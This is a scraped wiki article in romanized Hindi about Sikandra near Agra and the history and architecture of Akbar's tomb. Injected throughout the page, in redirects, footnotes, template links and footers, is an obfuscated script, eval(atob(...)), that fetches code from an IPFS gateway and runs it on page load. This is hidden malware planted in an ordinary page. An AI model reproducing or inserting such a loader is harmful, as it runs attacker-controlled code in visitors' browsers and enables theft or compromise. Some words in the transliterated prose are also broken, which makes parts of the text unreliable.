सिकंदरा आगरा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Sikandra-Agra-1.jpg|thumb|250px|sikandara, agara
Sikandra, Agra]] akabar ka maqabara agara se 4 kilomitar ki doori par sikandara mean sthit hai. vartaman mean jahaan sikandara hai, vahaan sikandar ki sena ka p dav tha. usi ke nam par is jagah ka nam 'sikandara' p da. sikandar ke akraman se pahale agara ek chhota sa nagar tha. sikandara mean maqabare ka nirman kary sh‍vayan akabar ne shuroo karavaya tha, lekin isake poora hone se pahale hi akabar ki mrith‍yu ho gee. bad mean unake putr jahaangir ne ise poora karavaya. jahaangir ne mool yojana mean kee parivartan kie. is imarat ko dekhakar pata chalata hai ki, mugal kala kaise vikasit huee. mugalakala nirantar vikasit hoti rahi hai. pahale dilli mean humayooan ka maqabara, phir akabar ka maqabara aur aantat: tajamahal ka nirman hua. maqabare ke charoan or khoobasoorat bagicha hai, jisake bich mean 'baradi mahal' hai, jisaka nirman sikandar lodi ne karavaya tha.[1]

akabar

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

akabar humayooan ka beta aur babar ka pota tha. vah mugal vansh ka aur madhyakalin bharat ke itihas ka mahanatam badashah tha. usane 1556 se 1605 ee. tak rajy kiya. usane ek vishal samrajy ki sthapana ki, jo kabul se asam aur kashmir se ahamadanagar tak vistirn tha. usaka rajy vidharmi praja ke prati shantipoorn sah-astitv ke thos siddhant par chalata tha, aur rajatantr manasabadari jaise dharmanirapeksh sansthanoan par adharit tha. usane yuddharat rajapoot rajaoan ko mugal chhatr ke niche ekatr kiya aur desh ko ek-si saanskritik, rajanitik aur prashasakiy vyavastha ke antargat jo d diya. usane apana rajatv shakhamool bharatiy bhoomi se sambaddh kar diya aur use vishuddh deshi bana diya. isalie use ‘chakravarti’ ka sammanasoochak virud pradan kiya gaya. usane bhi d mean se ek rashtr ka nirman kiya. isi karan use akabar mahan kaha gaya.

maqabare ka nirman

samrat akabar ek mahanh nirmata bhi tha, aur usane apane sare samrajy mean qiloan ki ek shrriankhala banavaee thi. usane fatehapur sikari ki sthapana ki, jisamean usane apani chhap ki mishrit shaili mean sundar mahal banavaye. vah vahaan 13 varsh (1572 se 1585 ee. tak) raha. usane agare ke qile ka punarnirman karaya aur isamean anekanek rajakiy imaratean banavaeean. usane apane maqabare ki bhi svayan hi yojana banaee aur usake liye sikandara mean yamuna nadi ke tat ke samip ek sthan pasand kiya. usaka nam ‘bihishtabad’ (svargik avas) ho gaya. akabar ki 1605 ee. mean mrityu huee. tab maqabare ka banana arambh hi hua tha. ise usake bete jahaangir ne 1612 ee. mean akabar ke mool dizain ke anusar hi poorn karaya.

sanrachana

[[chitr:Sikandra-Agra-29.jpg|thumb|250px|akabar ka maqabara (aantarik sanrachana)]] yah maqabara ek vishal bag ke kendr mean sthit hai, jisake charoan or ooanchi divarean haian, aur jinake madhy mean vishal bahumanzili imaratean haian. dakshin ki or dvar bhavan hai. charabag yojana par bag ko sangin patthar ki ooanchi-ooanchi vithikaoan dvara char bhagoan mean baanta gaya hai. inake bich mean nanhi si nali hai aur kinaroan par uthi huee vithikaean haian. 75 fit chau di ye vithikaean mukhy maqabare ko parakote ki charoan imaratoan se jo dati haian. yah drashtavy hai ki ye vithikaean spasht roop se bag se itani ooanchi uthi huee haian ki sidhiyoan dvara un tak pahuancha ja sakata hai. in sidhiyoan par jalaprapat aur kund bane haian. in par n to saro ke vriksh lage haian, n phooloan ki kyariyaan haian. is prakar, is maqabare ka sanyojan ek sundar bag mean kiya gaya hai. ise akabar ke vyaktitv ke anuroop aisa banaya gaya hai ki, yah garima, gambhirata, vaicharikata aur shanti vyakt karata hai. isaka prabhav kamaniyata, anand aur chamak-damak ka nahian hai. ise ‘prem git’ ki apeksha ‘shok git’ ki tarah dizain kiya gaya hai.

dvar aur minaroan ki sanrachana

dakshin ki or sthit vishal dvar-bhavan dumanjila hai. isake uttar aur dakshin ki or 61 fit ooanchi ek-ek ‘eevan-pauli’ hai, jisake donoan or duhare alay bane haian. bahar ki or vividh roopakanoan mean rangin pattharoan se mojek aur pachchikari se j daooan alankaran kiya gaya hai. is dvar ka sabase mahattvapoorn aang safed sangamaramar ki char golakar garjarakar minarean haian, jo isaki chhat ke konoan se oopar uthati haian, jahaan sadharanat: chhatriyaan lagaee jani chahie thian. pratyek minar timanjili hai, har manzil par gaukh bani hai aur shirsh par ek sundar chhatri hai. is anoothe tattv ki prerana muhammad kuli kutb shah dvara l. 1591 mean haidarabad mean nirmit charaminar ki minaroan se aee pratit hoti hai. is dvar bhavan ke dakshini or uttari eevanoan par aur h aaul ke andar farasi ke shilalekh utkirn haian. dakshini shilalekh jahaangir ki pranshasa mean ek lambi prashasti hai. isamean khushanavis abdulahak shiraji aur imarat ke poorn hone ki tithi (1021 hijari 1612 ee.) bhi ullikhit hai. h aaul ke andar alankrit pushpoan mean farasi ke 12 dvipadean abhilekhit haian. unamean akabar ki prashansa hai. uttari eevan ka shilalekh bhi prashansatmak hai. usamean akabar aur is maqabare ki prashasti hai. isamean akabar ke darshanik drishtikon bhi parilakshit haian. uttari pravesh dvar ke oopar do dvipadoan mean maqabare ka parichay diya gaya hai. kul milakar yah dvar bhavan poorn imarat hai aur kahian bhi svatantr roop se shobhayaman ho sakata hai.

mukhy maqabara

mukhy maqabare ka dizain asadharan hai. isaki yojana chaturastr hai aur yah kramash: ghatati huee paanch manjiloan mean bana hai. bhoomi tal par vistirn dalan haian, jinake madhy mean pratyek disha mean ek eevan pauli hai. pratyek ke shirsh par safed sangamaramar ka ath khamboan ka ek lambakar chhaparakhat hai. dakshini pauli mean ek antarkaksh hai, jo qabr-kaksh le jata hai. isamean choone aur rangin chitrakari mean quran ki ayatean likhi haian. isake pratyek kone par ek ashtrastr attalika sambaddh hai, jisake shirsh par ath khambhoan ki chhatri hai. vastav mean yah bhoomi-tal maqabare ki jagati haian, jis par isaki char manjilean adharit haian. niche ki tin manjiloan mean khambhoan par adharit maharabadar dalan haian, jinase chhatriyaan ju di huee haian. sabase oopar ka tal sampoorn safed sangamaramar ka hai. isake madhy mean 70 fit lamba chau da ek chaturastr khula aangan hai. jisake charoan or 9 fit chau de maharabadar dalan haian. aangan ke madhy mean sthit chabootare par ek qabrapashan sthit hai. bahar ke maharaboan par jaliyaan lagi haian. akabar ki prashansa mean farasi ke 36 dvipadoan mean ek sundar prashasti aangan ki or ke maharaboan par utkirn hai. unamean akabar ke darshanik vichar spasht hi abhilekhit hai. is imarat mean koee gumbad ya varahadari nahian hai aur oordhvarachana khali hai. vastav mean yah mugal kal mean gumbadavihin maqabaroan ki ek svatantr shreni ke sootrapat ka soochak hai. yadyapi yah lal patthar ka bana hai, jahaangir ne is dvar ki minaroan mean eevan ke chhaparakhatoan mean aur sabase oopar ke tal par safed sangamaramar ka prayog kiya hai.

jirnodvar

yah maqabara mahanh mugaloan ki pramukh imaratoan mean sundaratam imarat hai. yah akabar ke star ke mahanh samrat ki smriti mean bana upayukt smarak hai. 18vian sadi mean yah buri tarah kshatigrast ho gaya tha aur bharatiy puratattv sarvekshan ne 1902 se 1911 ee. ke madhy jirnodvar kiya tha.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vithika

  • chitr:Sikandra-Agra.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-14.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-15.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-3.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-4.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-5.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-6.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-7.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-8.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-9.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-10.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-11.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-12.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-2.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-13.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-16.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-17.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-18.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-19.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-20.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-21.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-22.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-23.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-24.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-25.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-26.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-27.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-28.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-29.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-30.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-31.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-32.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Sikandra-Agra-33.jpg

    sikandara, agara
    Sikandra, Agra

  • chitr:Akbar's south gate at Sikandra.jpg

    sikandara, agara
    Sikandra, Agra

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ sikandara (hindi) yatra salah. abhigaman tithi: 6 disanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

[[Template:uttar pradesh ke paryatan sthal<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:uttar pradesh ke paryatan sthal<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
uttar pradesh ke paryatan sthal
mathura
agara
lakhanoo
varanasi
ilahabad
jaunapur
merath
gaziyabad
saranath
baharaich
sitapur
goanda
haradoee
kaushaanbi
bulandashahar
kanapur
faizabad
mirzapur
kushinagar
any

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=सिकंदरा_आगरा&oldid=656524"